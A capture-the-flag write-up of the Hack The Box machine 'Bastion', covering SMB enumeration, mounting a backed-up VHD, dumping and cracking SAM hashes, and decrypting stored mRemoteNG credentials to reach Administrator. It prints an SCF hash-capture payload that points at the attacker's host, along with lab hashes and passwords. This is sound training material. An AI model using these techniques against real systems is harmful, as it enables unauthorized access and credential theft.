This was an amazing box that really showed the importance of using google. It was unique in that it did not have a web server port. The great thing about this box is that it was very realistic, as intended by the author **L4mpje**. Let's get right into it!

As usual, I added the ip to my /etc/hosts file and called it bastion.htb. Afterwards, I ran the normal **nmap -sC -sV -oA nmap/nmap bastion.htb** which revealed many ports. Just to be sure that I had all the ports, I ran **nmap -p- --max-retries=0 bastion.htb**. Note the max-retries flag which, when set to 0, performs the scan at it's quickest but most unreliable speed. This is because the max-retries flag is used to specify the maximum port scan probe retransmissions, and the less transmissions you send, the higher likelihood that you will have false negatives and positives. After scanning all ports, the following ports were revealed: **47001,49664,49665,49666,49667,49668,49669,49670**. Due to this, I ran the thorough nmap scan once again (this time specifying the ports): **nmap -sC -sV -oA nmap/nmap -p 22,135,139,445,5985,47001,49664,49665,49666,49667,49668,49669,49670 bastion.htb**

```
PORT      STATE SERVICE      VERSION                                    [10/17]
22/tcp    open  ssh          OpenSSH for_Windows_7.9 (protocol 2.0)
| ssh-hostkey:
|   2048 3a:56:ae:75:3c:78:0e:c8:56:4d:cb:1c:22:bf:45:8a (RSA)
|   256 cc:2e:56:ab:19:97:d5:bb:03:fb:82:cd:63:da:68:01 (ECDSA)
|_  256 93:5f:5d:aa:ca:9f:53:e7:f2:82:e6:64:a8:a3:a0:18 (ED25519)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc        Microsoft Windows RPC
49665/tcp open  msrpc        Microsoft Windows RPC
49666/tcp open  msrpc        Microsoft Windows RPC
49667/tcp open  msrpc        Microsoft Windows RPC
49668/tcp open  msrpc        Microsoft Windows RPC
49669/tcp open  msrpc        Microsoft Windows RPC
49670/tcp open  msrpc        Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -10m49s, deviation: 34m37s, median: 9m09s
| smb-os-discovery:
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: Bastion
|   NetBIOS computer name: BASTION\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2021-02-23T15:54:13+01:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
```

Looks like the high ports that the **nmap -p-** command found were of no importance. Looking at the results however, two ports in particular stand out. This Windows box is running ssh!? That's certainly strange as I have not seen any other Windows box with ssh (more on this later). The other port that stands out is port 445 (Samba a.k.a SMB which stands for Server Message Block), and it is configured to allow guest access. This seems like the most obvious attack vector, so let's see what we find.

smbmap -H bastion.htb -u guest

Again, two things in this output stand out. First of all, there is a **Backups** directory which we have READ and WRITE access to. The fact that we have WRITE access to this is a huge red flag! This means that we could drop a malicious SCF (shell command file) to potentially steal hashes from users who access this file. We can write a .scf file with the following contents:

[Shell]
Command=2
IconFile=\\10.13.37.2\share\0xd4y.ico
[Taskbar]
Command=ToggleDesktop

Whenever a user browses to this file, Windows will attempt to authenticate to our share with the credentials of the user, meaning that we can capture these credentials (albeit the password is hashed). The fact that we have write access to a directory containing backups is especially alarming, as which users would normally access such a directory? Probably domain admins. There is an excellent article on this topic that I highly recommend you read (https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/). Anyways, this is most likely not intended by the author because Bastion is an easy box and there are no real users on the system to execute the .scf file (as this is just a box rather than a real attack).

The other thing that stands out is this smbmap message:
[\] Work[!] Unable to remove test directory at \\bastion.htb\Backups\GZHGUJOWDT, please remove manually

The smbmap tool knows that we have write access to **\Backups** because it was able to write to it. However, the fact that it was not able to remove it shows that this created directory could be a way for defenders to find out that someone may be up to something malicious. In a real

penetration testing environment, it may be more wise to use **smbclient -L -U guest bastion.htb** which lists the shares, but does not list the permissions:

```
┌─[✗]─[0xd4y@Writeup]─[~/business/hackthebox/easy/windows/bastion]
└──╼ $smbclient -L bastion.htb -U guest

Enter WORKGROUP\guest's password:

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        Backups         Disk
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
SMB1 disabled -- no workgroup available
```

Ok, enough stalling. Let's just see what's inside this **\Backups** directory. I created a **/smb** directory on my machine (so that if I download a file it goes straight to the **/smb** directory) and connected to the SMB share:

smbclient -U guest //bastion.htb/Backups

```
┌─[0xd4y@Writeup]─[~/business/hackthebox/easy/windows/bastion/smb]
└──╼ $smbclient -U guest //bastion.htb/Backups
Enter WORKGROUP\guest's password:
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Thu Feb 25 20:53:46 2021
  ..                                  D        0  Thu Feb 25 20:53:46 2021
  GZHGUJOWDT                          D        0  Thu Feb 25 20:53:46 2021
  NCAPIWDRQM                          D        0  Thu Feb 25 20:52:34 2021
  note.txt                           AR      116  Tue Apr 16 11:10:09 2019
  SDT65CB.tmp                         A        0  Fri Feb 22 12:43:08 2019
  WindowsImageBackup                 Dn        0  Fri Feb 22 12:44:02 2019

                7735807 blocks of size 4096. 2763146 blocks available
```

I downloaded the note.txt file using **get note.txt** and viewed it on my host machine.

```
┌─[0xd4y@Writeup]─[~/business/hackthebox/easy/windows/bastion/smb]
└──╼ $cat note.txt

Sysadmins: please don't transfer the entire backup file locally, the VPN to the subsidiary office is too slow.
```

This file is a hint that there is probably a large backup file somewhere in this SMB share. Let's keep enumerating! Eventually you'll find the following directory:

```
smb: \WindowsImageBackup\L4mpje-PC\Backup 2019-02-22 124351\> dir
  .                                   Dn        0  Fri Feb 22 12:45:32 2019
  ..                                  Dn        0  Fri Feb 22 12:45:32 2019
  9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd     An 37761024  Fri Feb 22 12:44:03 2019
  9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd     An 5418299392  Fri Feb 22 12:45:32 2019
  BackupSpecs.xml                     An     1186  Fri Feb 22 12:45:32 2019
  cd113385-65ff-4ea2-8ced-5630f6feca8f_AdditionalFilesc3b9f3c7-5e52-4d5e-8b20-19adc95a34c7.xml     An     1078  Fri Feb 22 12:45:32 2019
  cd113385-65ff-4ea2-8ced-5630f6feca8f_Components.xml     An     8930  Fri Feb 22 12:45:32 2019
  cd113385-65ff-4ea2-8ced-5630f6feca8f_RegistryExcludes.xml     An     6542  Fri Feb 22 12:45:32 2019
  cd113385-65ff-4ea2-8ced-5630f6feca8f_Writer4dc3bdd4-ab48-4d07-adb0-3bee2926fd7f.xml     An     2894  Fri Feb 22 12:45:32 2019
  cd113385-65ff-4ea2-8ced-5630f6feca8f_Writer542da469-d3e1-473c-9f4f-7847f01fc64f.xml     An     1488  Fri Feb 22 12:45:32 2019
  cd113385-65ff-4ea2-8ced-5630f6feca8f_Writera6ad56c2-b509-4e6c-bb19-49d8f43532f0.xml     An     1484  Fri Feb 22 12:45:32 2019
  cd113385-65ff-4ea2-8ced-5630f6feca8f_Writerafbab4a2-367d-4d15-a586-71dbb18f8485.xml     An     3844  Fri Feb 22 12:45:32 2019
  cd113385-65ff-4ea2-8ced-5630f6feca8f_Writerbe000cbe-11fe-4426-9c58-531aa6355fc4.xml     An     3988  Fri Feb 22 12:45:32 2019
  cd113385-65ff-4ea2-8ced-5630f6feca8f_Writercd3f2362-8bef-46c7-9181-d62844cdc0b2.xml     An     7110  Fri Feb 22 12:45:32 2019
  cd113385-65ff-4ea2-8ced-5630f6feca8f_Writere8132975-6f93-4464-a53e-1050253ae220.xml     An  2374620  Fri Feb 22 12:45:32 2019

                7735807 blocks of size 4096. 2763146 blocks available
```

Incidentally, we know that there is probably a user named L4mpje on the system (it is always important to save information like this in a file where you keep your notes). Two files here stand out (first there were two ports that stood out, then two interesting things with the SMB share, now this...why are there always two things that stand out??). The **.vhd** (virtual hard disk) files are quite conspicuous; these files are absolutely massive! One is about 37MB while the other one is 5.4GB and are no doubt the backup files that the **note.txt** message was referring to. I foolishly downloaded both files and inspected them when I was first going through this machine, so let's see how to view these files without waiting a million years for them to finish installing.

The mount command does the trick. Running the command **sudo mount -t cifs //bastion.htb/Backups smb/ -o username=guest** we see the full listing of the directory Backups. The **-t** option for mount specifies the type of file share we want to mount. CIFS stands for Common Internet File System and is a dialect, or particular implementation, of the SMB protocol.

```
┌─[✗]─[0xd4y@Writeup]─[~/business/hackthebox/easy/windows/bastion]
└──╼ $sudo mount -t cifs //bastion.htb/Backups smb/ -o username=guest
Password for guest@//bastion.htb/Backups:
┌─[0xd4y@Writeup]─[~/business/hackthebox/easy/windows/bastion]
└──╼ $ls smb/
GZHGUJOWDT  NCAPIWDRQM  note.txt  SDT65CB.tmp  WindowsImageBackup
```

Note the strange directory names that smbmap created. Anyways, let's get right to the .vhd files.

```
┌─[✗]─[0xd4y@Writeup]─[~/business/hackthebox/easy/windows/bastion/smb/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351]
└──╼ $du *
36876   9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd
5291308 9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd
4       BackupSpecs.xml
4       cd113385-65ff-4ea2-8ced-5630f6feca8f_AdditionalFilesc3b9f3c7-5e52-4d5e-8b20-19adc95a34c7.xml
12      cd113385-65ff-4ea2-8ced-5630f6feca8f_Components.xml
8       cd113385-65ff-4ea2-8ced-5630f6feca8f_RegistryExcludes.xml
4       cd113385-65ff-4ea2-8ced-5630f6feca8f_Writer4dc3bdd4-ab48-4d07-adb0-3bee2926fd7f.xml
4       cd113385-65ff-4ea2-8ced-5630f6feca8f_Writer542da469-d3e1-473c-9f4f-7847f01fc64f.xml
4       cd113385-65ff-4ea2-8ced-5630f6feca8f_Writera6ad56c2-b509-4e6c-bb19-49d8f43532f0.xml
4       cd113385-65ff-4ea2-8ced-5630f6feca8f_Writerafbab4a2-367d-4d15-a586-71dbb18f8485.xml
4       cd113385-65ff-4ea2-8ced-5630f6feca8f_Writerbe000cbe-11fe-4426-9c58-531aa6355fc4.xml
8       cd113385-65ff-4ea2-8ced-5630f6feca8f_Writercd3f2362-8bef-46c7-9181-d62844cdc0b2.xml
2320    cd113385-65ff-4ea2-8ced-5630f6feca8f_Writere8132975-6f93-4464-a53e-1050253ae220.xml
```

When I was first going through this box, I mounted both the .vhd files, but the 37MB one is not interesting as it just has boot files. Let's mount the .vhd file and inspect its contents.

guestmount -a 9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd -m /dev/sda1 --ro ~/business/hackthebox/easy/windows/bastion/mnt/

```
┌─[✗]─[0xd4y@Writeup]─[~/business/hackthebox/easy/windows/bastion/smb/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351]
└──╼ $guestmount -a 9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd -m /dev/sda1 --ro ~/business/hackthebox/easy/windows/bastion/mnt/
┌─[0xd4y@Writeup]─[~/business/hackthebox/easy/windows/bastion/smb/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351]
└──╼ $cd ~/business/hackthebox/easy/windows/bastion/mnt/
┌─[0xd4y@Writeup]─[~/business/hackthebox/easy/windows/bastion/mnt]
└──╼ $ls
'$Recycle.Bin'  autoexec.bat  config.sys  'Documents and Settings'  pagefile.sys  PerfLogs  ProgramData  'Program Files'  Recovery  'System Volume Information'  Users  Windows
```

And we get a whole listing of files. At this point, I looked through a ton of data, but I couldn't find anything interesting laying around. However, there is still a way to extract credentials due to a huge oversight of the sysadmins. They accidentally backed up the files **SYSTEM** and **SAM** (Security Account Manager) located in **/Windows/System32/config**.

```
┌─[0xd4y@Writeup]─[~/business/hackthebox/easy/windows/bastion/mnt/Windows/System32/config]
└──╼ $ls -la |grep -v "\." |grep -E "SAM|SYSTEM"
-rwxrwxrwx 1 root root   262144 Feb 22  2019 SAM
-rwxrwxrwx 1 root root  9699328 Feb 22  2019 SYSTEM
```

So the note really wasn't kidding when it said to not transfer the entire backup file locally. A lazy sysadmin did not realize that he backed up even the **SAM** and **SYSTEM** file. THESE FILES ARE HIGHLY SENSITIVE!!! The SAM file is a database file that stores credentials of the local users. These credentials are hashed and encrypted by the system boot key which is located in **SYSTEM**. This means that if you have access to the **SYSTEM** file, then you can decrypt the credentials revealing their hashes.

.

We can use the **impacket-secretsdump** tool to extract hashed credentials. Let's copy these files to our root directory (**/bastion**) and continue with the command.

impacket-secretsdump -sam SAM -system SYSTEM local

```
┌─[0xd4y@Writeup]─[~/business/hackthebox/easy/windows/bastion]
└──╼ $impacket-secretsdump -sam SAM -system SYSTEM local
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[*] Target system bootKey: 0x8b56b2cb5033d8e2e289c26f8939a25f
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
L4mpje:1000:aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9:::
[*] Cleaning up...
```

Well, now we have the hash for the L4mpje user! Notice how Administrator and Guest have blank LM and NTLM hashes. This indicates that Administrator and Guest were most likely disabled when this file was backed up (even more evidence that this was probably backed up with the SYSTEM user), but this could be an old backup file and Administrator could have been activated since then. Anyways, let's copy the NTLM hash of L4mpje and crack it.
hashcat -m 1000 26112010952d963c8dc4217daec986d9 /usr/share/wordlists/rockyou.txt

After about a minute, the NTLM hash is cracked revealing that L4mpje's password is **bureaulampje**.

Tip:

> Using Hashcat on a virtual machine is not recommended. Hashcat runs a lot quicker on your host machine.

Let's ssh into the box and hope that L4mpje has not updated his password since the .vhd file was backed up.

```
┌─[0xd4y@Writeup]─[~/business/hackthebox/easy/windows/bastion]
└──╼ $ssh l4mpje@bastion.htb
l4mpje@bastion.htb's password:
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

l4mpje@BASTION C:\Users\L4mpje>
```

It was expected that L4mpje did not change his password. Not because this is meant to be a vulnerable machine, but this is completely realistic. How often does a person change his password?

We can now grab user.txt, but how are we going to escalate to administrator? This is where having knowledge on the basic file system of Windows is useful. After a lot of enumeration, you will notice that there is a particular directory on this box which stands out on **C:\Program Files (x86):**

```
l4mpje@BASTION C:\Program Files (x86)>dir
 Volume in drive C has no label.
 Volume Serial Number is 0CB3-C487

 Directory of C:\Program Files (x86)

22-02-2019  14:01    <DIR>          .
22-02-2019  14:01    <DIR>          ..
16-07-2016  14:23    <DIR>          Common Files
23-02-2019  09:38    <DIR>          Internet Explorer
16-07-2016  14:23    <DIR>          Microsoft.NET
22-02-2019  14:01    <DIR>          mRemoteNG
23-02-2019  10:22    <DIR>          Windows Defender
23-02-2019  09:38    <DIR>          Windows Mail
23-02-2019  10:22    <DIR>          Windows Media Player
16-07-2016  14:23    <DIR>          Windows Multimedia Platform
16-07-2016  14:23    <DIR>          Windows NT
23-02-2019  10:22    <DIR>          Windows Photo Viewer
16-07-2016  14:23    <DIR>          Windows Portable Devices
16-07-2016  14:23    <DIR>          WindowsPowerShell
               0 File(s)              0 bytes
              14 Dir(s)  11.317.100.544 bytes free
```

The mRemoteNG directory is not part of the default Windows build. Let’s inspect it further.

```
l4mpje@BASTION C:\Program Files (x86)\mRemoteNG>dir
 Volume in drive C has no label.
 Volume Serial Number is 0CB3-C487

 Directory of C:\Program Files (x86)\mRemoteNG

22-02-2019  14:01    <DIR>          .
22-02-2019  14:01    <DIR>          ..
18-10-2018  22:31            36.208 ADTree.dll
18-10-2018  22:31           346.992 AxInterop.MSTSCLib.dll
18-10-2018  22:31            83.824 AxInterop.WFICALib.dll
18-10-2018  22:31         2.243.440 BouncyCastle.Crypto.dll
18-10-2018  22:30            71.022 Changelog.txt
18-10-2018  22:30             3.224 Credits.txt
22-02-2019  14:01    <DIR>          cs-CZ
22-02-2019  14:01    <DIR>          de
22-02-2019  14:01    <DIR>          el
22-02-2019  14:01    <DIR>          en-US
22-02-2019  14:01    <DIR>          es
22-02-2019  14:01    <DIR>          es-AR
22-02-2019  14:01    <DIR>          Firefox
22-02-2019  14:01    <DIR>          fr
18-10-2018  22:31         1.966.960 Geckofx-Core.dll
05-07-2017  00:31         4.482.560 Geckofx-Core.pdb
18-10-2018  22:31           143.728 Geckofx-Winforms.dll
05-07-2017  00:31           259.584 Geckofx-Winforms.pdb
22-02-2019  14:01    <DIR>          Help
22-02-2019  14:01    <DIR>          hu
22-02-2019  14:01    <DIR>          Icons
18-10-2018  22:31           607.088 Interop.MSTSCLib.dll
18-10-2018  22:31           131.440 Interop.WFICALib.dll
22-02-2019  14:01    <DIR>          it
22-02-2019  14:01    <DIR>          ja-JP
22-02-2019  14:01    <DIR>          ko-KR
07-10-2018  12:21            18.326 License.txt
18-10-2018  22:31           283.504 log4net.dll
18-10-2018  22:31           412.528 MagicLibrary.dll
18-10-2018  22:31         1.552.240 mRemoteNG.exe
```

Nothing in this directory looks out of the ordinary. In any case, we should look into this for multiple reasons:

1. mRemoteNG is a tool for connecting and managing remote systems (protocols such as SSH, RDP, etc. are used).
2. mRemoteNG is not part of the default Windows build.
3. This box is called Bastion, hinting at the possibility that this box is a bastion host. A bastion host allows external connections to a private network. Due to the increased probability of an attack on a bastion host, it must be hardened to withstand such attacks. As such, typically there are very few services running on a bastion host (in our case the bastion host is running SSH and an SMB share). Ideally, a bastion host acts as a jump server once a connection has been established to it (a jump server is used to access devices in a separate security zone). Essentially, this means after connecting to a bastion host, authorized users can have access to private instances located within the virtual private cloud (VPC).Think of a bastion host as a bastion is in real life (hence the name). You can walk up to the bastion, knock on the castle walls, but you are not allowed inside unless you are authorized. If you attack the bastion, you may be met with defensive fire.
   (BLACKLISTED!).

After a bit of googling, you will find a great article explaining the insecurity of mRemoteNG (https://hackersvanguard.com/mremoteng-insecure-password-storage/). The ConfCons.xml file located in **%AppData%\mRemoteNG** contains encrypted passwords for users on the system. Let's reveal the contents:

```
l4mpje@BASTION C:\Users\L4mpje\AppData\Roaming\mRemoteNG>type confCons.xml
<?xml version="1.0" encoding="utf-8"?>
<mrng:Connections xmlns:mrng="http://mremoteng.org" Name="Connections" Export="false" EncryptionEngine="AES" BlockCipherMode="GC
M" KdfIterations="1000" FullFileEncryption="false" Protected="ZSvKI7j224Gf/twXpaP5G2QFZMLr1iO1f5JKdtIKL6eUg+eWkL5tKO886au0ofFPW0
oop8R8ddXKAx4KK7sAk6AA" ConfVersion="2.6">
    <Node Name="DC" Type="Connection" Descr="" Icon="mRemoteNG" Panel="General" Id="500e7d58-662a-44d4-aff0-3a4f547a3fee" Userna
me="Administrator" Domain="" Password="aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw=="
```

This password seems to simply just be base64 encoded, but when we decode it, we just get garbage:

```
┌─[✗]─[0xd4y@Writeup]─[~/business/hackthebox/easy/windows/bastion]
└──╼ $echo -n 'aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw=='|base64 -d
VaQt.⌿Y`5Z(#ₒ-
```

This suggests that the password is most likely encrypted. Luckily, there are many different ways to decrypt mRemoteNG passwords (I used this tool on github: https://github.com/kmahyyg/mremoteng-decrypt).

Using this tool and inputting the encrypted password of Administrator we get the credentials:

```
┌─[✗]─[0xd4y@Writeup]─[~/business/hackthebox/easy/windows/bastion]
└──╼ $python3 mremoteng_decrypt.py -s aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw==
Password: thXLHM96BeKL0ER2
```

We can now ssh into Administrator and get root.txt!

```
┌─[0xd4y@Writeup]─[~/business/hackthebox/easy/windows/bastion]
└──╼ $ssh Administrator@bastion.htb
Administrator@bastion.htb's password:
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

administrator@BASTION C:\Users\Administrator>cd Desktop

administrator@BASTION C:\Users\Administrator\Desktop>dir
 Volume in drive C has no label.
 Volume Serial Number is 0CB3-C487

 Directory of C:\Users\Administrator\Desktop

23-02-2019  09:40    <DIR>          .
23-02-2019  09:40    <DIR>          ..
23-02-2019  09:07                32 root.txt
               1 File(s)             32 bytes
               2 Dir(s)  11.317.460.992 bytes free
```

There were many things learned in this box. I really appreciate the work **L4mpje** did on creating this challenge. It was completely realistic, and I loved it beginning to end. Thanks also to you for reading my writeup, and I hope you learned from this box as much as I did!